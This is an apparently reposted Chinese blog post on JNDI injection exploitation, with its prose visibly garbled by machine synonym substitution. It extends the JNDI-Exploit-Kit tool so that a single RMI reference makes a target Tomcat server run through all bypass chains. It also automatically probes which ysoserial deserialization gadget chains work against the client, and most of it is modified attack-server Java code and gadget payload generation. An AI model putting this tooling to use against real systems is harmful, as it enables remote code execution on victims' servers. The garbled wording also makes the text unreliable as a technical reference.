JNDI漏洞利用探索

author:藏青@雁行平安团队

最近学习了浅蓝师傅寻觅的一些JNDI破绽的应用链收获颇丰,本人也尝试关于JNDI破绽应用做一些发掘,目前JNDI在应用过程我想到了两个问题。

  • 测试每一个JNDI Bypass 应用链都需求手动更改URL很不便当,能否我去恳求一个地址,让目的将我一切的链跑一遍?
  • JNDI应用过程中能够经过反序列化应用,能否自动化探测反序列化应用链?

自动测试Bypass 应用链

为了让这种方式愈加通用,我们首先思索的是JDK原生的完成ObjectFactory的类,那么我留意到了下面几个类。

  • com.sun.jndi.rmi.registry.RegistryContextFactory
  • com.sun.jndi.ldap.LdapCtxFactory

RegistryContextFactory

调用剖析

经过getURLs从Reference获取url列表并封装为数组,URLsToObject中对数组中的URL列表发起RMI恳求,所以RegistryContextFactory满足我们的需求。

public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
     //判别能否为援用对象并且factoryClassname为RegistryContextFactory
        if (!isRegistryRef(var1)) {
            return null;
        } else {
            //从援用对象中获取URL列表并循环发起调用
            Object var5 = URLsToObject(getURLs((Reference)var1), var4);
            if (var5 instanceof RegistryContext) {
                RegistryContext var6 = (RegistryContext)var5;
                var6.reference = (Reference)var1;
            }
            return var5;
        }
    }
  • getURLs获取URL必需满足RefAddr是StringRefAddr类型且Type属性为URL才会保管。
private static String[] getURLs(Reference var0) throws NamingException {
        int var1 = 0;
        String[] var2 = new String[var0.size()];
        Enumeration var3 = var0.getAll();
        //从RefAddr中获取url并保管到数组中
        while(var3.hasMoreElements()) {
            RefAddr var4 = (RefAddr)var3.nextElement();
            //只要RefAddr是StringRefAddr类型,且Type属性为URL才会保管
            if (var4 instanceof StringRefAddr && var4.getType().equals("URL")) {
                var2[var1++] = (String)var4.getContent();
            }
        }
        if (var1 == 0) {
            throw new ConfigurationException("Reference contains no valid addresses");
        } else if (var1 == var0.size()) {
            return var2;
        } else {
            //返回URL数组
            String[] var5 = new String[var1];
            System.arraycopy(var2, 0, var5, 0, var1);
            return var5;
        }
    }
  • URLsToObject中创立rmiURLContextFactory对象并调用getObjectInstancegetObjectInstance中判别传入的object类型假如是数组则调用getUsingURLs.
private static Object URLsToObject(String[] var0, Hashtable<?, ?> var1) throws NamingException {
        rmiURLContextFactory var2 = new rmiURLContextFactory();
        return var2.getObjectInstance(var0, (Name)null, (Context)null, var1);
    }


public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
        if (var1 == null) {
            return new rmiURLContext(var4);
        } else if (var1 instanceof String) {
            return getUsingURL((String)var1, var4);
        } else if (var1 instanceof String[]) {
            //数组类型
            return getUsingURLs((String[])((String[])var1), var4);
        } else {
            throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
        }
    }
  • getUsingURLs创立rmiURLContext并循环调用lookup发起RMI调用直到获取一个对象并返回。
private static Object getUsingURLs(String[] var0, Hashtable<?, ?> var1) throws NamingException {
        if (var0.length == 0) {
            throw new ConfigurationException("rmiURLContextFactory: empty URL array");
        } else {
            rmiURLContext var2 = new rmiURLContext(var1);
            try {
                NamingException var3 = null;
                int var4 = 0;
                while(var4 < var0.length) {
                    try {
                        Object var5 = var2.lookup(var0[var4]);
                        return var5;
                    } catch (NamingException var9) {
                        var3 = var9;
                        ++var4;
                    }
                }
                throw var3;
            } finally {
                var2.close();
            }
        }
    }

应用剖析

经过RegistryContextFactory应用只能运用rmi协议发起恳求,所以目前只能用这种方式检测rmi相关的应用,在Orange师傅的JNDI-
Exploit-
Kit
工具中集成了一局部关于RMI的应用链,其中也包含了TomcatGROOVY的bypass,当然Groovy的执行也依赖Tomcat。工具运转后会生成一些RMI的URL,我们能够将RegistryContextFactory也加到应用链中。

RMIRefServer中包含了RMI处置的逻辑,因而能够把RegistryContextFactory援用也注册进去。

/*
     * Fuzz All Bypass
     * Created by 藏青
     */
    public ResourceRef execAll() throws RemoteException, NamingException{
        ResourceRef ref = new ResourceRef("xxxx", null, "", "",
                true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
        //Mapper.references中保管了随机生成的rmi称号和应用方式的关系
        for (Map.Entry<String, String> entry : Mapper.references.entrySet()) {
            String mapKey = entry.getKey();
            String mapValue = entry.getValue();
            //假如是RegistryContextFactory则跳过,否则会形成递归查询
            if(!mapValue.equals("BypassTestAll")){
                ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/%s", ServerStart.rmi_addr,mapKey)));
            }
            }
        return ref;
    }

RMIRefServer#handleRMI中会依据恳求的url找到对应的处置办法生成援用对象并返回,所以我们只需将我们结构的execAll办法也参加到if判别中即可。

private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
        int method = ois.readInt(); // method
        ois.readLong(); // hash
        if ( method != 2 ) { // lookup
            return false;
        }
        //获取rmi恳求的对象称号,这里是随机生成的额称号
        String object = (String) ois.readObject();
        System.out.println(getLocalTime() + " [RMISERVER]  >> Is RMI.lookup call for " + object + " " + method);
        String cpstring = this.classpathUrl.toString();
     //依据取出的称号从Mapper.references中取出应用方式对应的称号
        String reference = Mapper.references.get(object);
        if (reference == null) {
            System.out.println(getLocalTime() + " [RMISERVER]  >> Reference that matches the name(" + object + ") is not found.");
            //return false;
            cpstring = "BypassByGroovy";
        }
        URL turl = new URL(cpstring + "#" + reference);
        out.writeByte(TransportConstants.Return);// transport op
        try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) {
            oos.writeByte(TransportConstants.NormalReturn);
            new UID().write(oos);
            //创立ReferenceWrapper包装类
            ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
        //  依据称号不同调用不同的办法得到对应的援用对象
            if (reference.startsWith("BypassByEL")){
                System.out.println(getLocalTime() + " [RMISERVER]  >> Sending local classloading reference for BypassByEL.");
                Reflections.setFieldValue(rw, "wrappee", execByEL());
            } else if (reference.startsWith("BypassByGroovy")){
                System.out.println(getLocalTime() + " [RMISERVER]  >> Sending local classloading reference for BypassByGroovy.");
                Reflections.setFieldValue(rw, "wrappee", execByGroovy());
            }
            //将我们的结构的execAll办法加到判别中
            else if (reference.startsWith("BypassTestAll")){
                System.out.println(getLocalTime() + " [RMISERVER]  >> Sending local classloading reference for BypassTestAll.");
                Reflections.setFieldValue(rw, "wrappee", execAll());
            }
            else {
                System.out.println(
                        String.format(
                                getLocalTime() + " [RMISERVER]  >> Sending remote classloading stub targeting %s",
                                new URL(cpstring + reference.concat(".class"))));
                Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString()));
            }
            Field refF = RemoteObject.class.getDeclaredField("ref");
            refF.setAccessible(true);
            refF.set(rw, new UnicastServerRef(12345));
            oos.writeObject(rw);
            oos.flush();
            out.flush();
        }
        return true;
    }

由于util.Mapper#references中包含了援用关系,所以这里也需求做下更改。

static {
...
   references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"BypassTestAll");
instructions.put("BypassTestAll","Build in "+ withColor("JDK - (BYPASSAll by @藏青)",ANSI_RED) +" whose test All Bypass Payload");
}

当然我们也能够把之前剖析的一些应用链也加进去,但是这并不是我们本片文章的重点,就不剖析了。添加并启动后,能够看到我们我们添加的应用链地址。

在tomcat中恳求我们创立的registry会将一切的应用链跑一遍,假如应用失败则会招致异常进入下一个应用链,直到跑胜利获取对象并返回。

我们也能够从server端停止考证,由于我这里运用的tomcat8所以跑到el表达式后应用胜利并返回。

栈溢出

突然想到假如我们在援用中的地址也是RegistryContextFactory那不就会招致递归的lookup查询,能否会产生什么问题。效劳端代码如下:

Registry registry = LocateRegistry.createRegistry(1099);
        Reference ref = new Reference("javax.sql.DataSource","com.sun.jndi.rmi.registry.RegistryContextFactory",null);
        ref.add(new StringRefAddr("URL","rmi://127.0.0.1:1099/Foo"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Foo", wrapper);

经过测试递归查询会触发tomcat的栈溢出异常,但是并不会对程序的运用产生影响。

LdapCtxFactory

LdapCtxFactoryRegistryContextFactory相对应,详细的过程不剖析了,最终是经过LdapCtxFactory#getUsingURL来执行,但是只会获取到DirContext并没有调用Lookup办法,所以似乎不能应用。

private static DirContext getUsingURL(String var0, Hashtable<?, ?> var1) throws NamingException {
        Object var2 = null;
        LdapURL var3 = new LdapURL(var0);
        String var4 = var3.getDN();
        String var5 = var3.getHost();
        int var6 = var3.getPort();
        String var8 = null;
        String[] var7;
        if (var5 == null && var6 == -1 && var4 != null && (var8 = ServiceLocator.mapDnToDomainName(var4)) != null && (var7 = ServiceLocator.getLdapService(var8, var1)) != null) {
            String var9 = var3.getScheme() + "://";
            String[] var10 = new String[var7.length];
            String var11 = var3.getQuery();
            String var12 = var3.getPath() + (var11 != null ? var11 : "");
            for(int var13 = 0; var13 < var7.length; ++var13) {
                var10[var13] = var9 + var7[var13] + var12;
            }
            var2 = getUsingURLs(var10, var1);
            ((LdapCtx)var2).setDomainName(var8);
        } else {
            var2 = new LdapCtx(var4, var5, var6, var1, var3.useSsl());
            ((LdapCtx)var2).setProviderUrl(var0);
        }
        //返回DirContext对象
        return (DirContext)var2;
    }

自动测试反序列化应用链

经过对问题一的剖析,我们如今只能应用RMI协议来辅佐我们一次性发起多个RMI调用,目前的大多数工具都是基于Ldap来停止反序列化应用的,不过在RMI中也能够经过反序列化应用。

首先我们要应用的场景是去经过RMI攻击客户端,所以能够应用ysoserial#JRMPListener模块来应用,它构建了一个JRMP监听,当客户端发起恳求时会构建一个异常对象BadAttributeValueExpException,并在这个异常对象的val属性中放入我们要结构好的歹意对象。

out.writeByte(TransportConstants.Return);// transport op
        ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
        //写入异常标识
        oos.writeByte(TransportConstants.ExceptionalReturn);
        new UID().write(oos);
        //构建BadAttributeValueExpException异常对象,并在val属性中参加歹意对象。
        BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
        Reflections.setFieldValue(ex, "val",payload );
        oos.writeObject(ex);

当客户端发起恳求时,会在StreamRemoteCall#executeCall中经过判别returnType能否为TransportConstants#ExceptionalReturn来决议能否反序列化,也就是只要返回呈现异常时才会对异常对象停止反序列化。

switch (returnType) {
        case TransportConstants.NormalReturn:
            break;
        case TransportConstants.ExceptionalReturn:
            Object ex;
            try {
                //当返回类型为ExceptionalReturn则停止反序列化
                ex = in.readObject();
            } catch (Exception e) {
                throw new UnmarshalException("Error unmarshaling return", e);
            }
            // An exception should have been received,
            // if so throw it, else flag error
            if (ex instanceof Exception) {
                exceptionReceivedFromServer((Exception) ex);
            } else {
                throw new UnmarshalException("Return type not Exception");
            }
            // Exception is thrown before fallthrough can occur
        default:
            if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                Transport.transportLog.log(Log.BRIEF,
                    "return code invalid: " + returnType);
            }
            throw new UnmarshalException("Return code invalid");
        }

但是由于我们构建了一个异常对象,在执行过程中会抛出异常。而我们在剖析RegistryContextFactory时说过,只要当返回正常时才会中止,返回异常会继续恳求其他的RMI地址,所以假如这样应用,只能把一切的反序列化应用链Fuzz一遍,我们并不晓得哪个应用链可用。

失败尝试一

剖析在StreamRemoteCall#executeCall的应用过程我发现,只需设置了TransportConstants#ExceptionalReturn都会停止反序列化,假如我们仅仅设置了这个字段,但是传入的是只是我们的歹意对象,能否绕过此处的报错?所以我对JRMPListener做了如下更改。

但是在反序列化完毕后会判别我们传入的能否为异常对象,假如不是也会抛异常。

失败尝试二

继续剖析发现RegistryImpl_Stub#lookup中也会停止反序列化,但是会将反序列化的结果转成Remote类型,假如我们返回的不是Remote的完成类也会招致异常。

应用剖析

固然我们不能直接经过能否继续恳求来判别应用链存在,但是还是能够经过DNSLog的方式停止判别。我们能够在每次恳求后获取DNSLog的结果,假如有返回值则代表应用链可用。

但是在编写好代码测试时惊喜的发现,在应用失败捕获异常时只会捕获NamingException类型的异常。

假如应用链没找到,会抛出CommunicationException异常,而这个异常是NamingException的子类,因而会被捕获

假如应用胜利,抛出的是其他类型的异常,则不会被捕获。

但是这里还有一个问题,有些应用类存在,但是由于JDK版本或者其他问题招致不能应用,比方CC1,这个时分也会抛出其他异常,但是并不能触发破绽,所以在自动化探测的时分要将这些类去除掉。

大约测了下在CC链中CC1,CC3,CC7都不能运用。CC1CC3都是由于JDK版本过高无法运用能够了解,但是在CC7中明明能够执行胜利但是还是会返回CommunicationException异常。

其他的应用链也先不测试了,这里只大致说下思绪。经过这种完成曾经能够到达自动化探测局部应用链了。最终我们效劳端恳求中最后一个恳求的gadget就是存在的应用链。

代码完成主要是在JNDI-Exploit-Kit根底上做了一点点小改良,主要是在if判别中继续加上了execAllGadgat办法。

execAllGadgat办法中遍历曾经添加的应用链并添加到援用对象中。

public static String[] gadgets=new String[]{"CommonsBeanutils1","CommonsCollections10","CommonsCollections2","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections8","CommonsCollections9","Hibernate1","JBossInterceptors1","JSON1","JavassistWeld1","Jdk7u21","MozillaRhino1","MozillaRhino2","ROME","Vaadin1","Jre8u20"};  
public Object execAllGadgat() {
        ResourceRef ref = new ResourceRef("xxxx", null, "", "",
                true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
        for(String gadget:gadgets){
            ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/serial/%s", ServerStart.rmi_addr,gadget)));
        }
        return ref;
    }

由于我们的Payload并没有在references中添加,因而从Map中会获取不到,所以我这里加了一个判别,当object以ser开头,则表示是经过反序列化应用,给reference赋值。

最后再加上一个援用判别,假如以serial开头则取出调用链称号获取歹意对象直接写入。

public Object execGadgets(String className) throws Exception {
        Class clazz = Class.forName("ysoserial.payloads."+className);
        ObjectPayload<?> payload = (ObjectPayload<?>) clazz.newInstance();
        final Object objBefore = payload.getObject("whoami", "exec_global");
        return objBefore;
    }

总结

固然这次的小发现关于JNDI破绽的应用来说可能有些弄巧成拙,经过这几天的研讨也发现了本人对RMI恳求了解上的缺乏,最后对这种应用方式做一个总结。

  • 由于我们要传入一个ObjectFactory类名,所以需求一个Reference对象,但是JDK自带的只要LinkRef,不能传送ObjectFactory的类名,所以这里还是运用了tomcat中的ResourceRef,所以还是有些依赖Tomcat。
  • 由于LdapCtxFactory最终没有调用Lookup办法,因而目前只能经过RMI协议来停止自动化检测

  • 由于CC1,CC3,CC7无法经过返回的异常类型判别能否存在,所以不能检测这几条链。目前我只测了CC链,其他类型的应用链能否有异常未测试

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞5赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像角韩0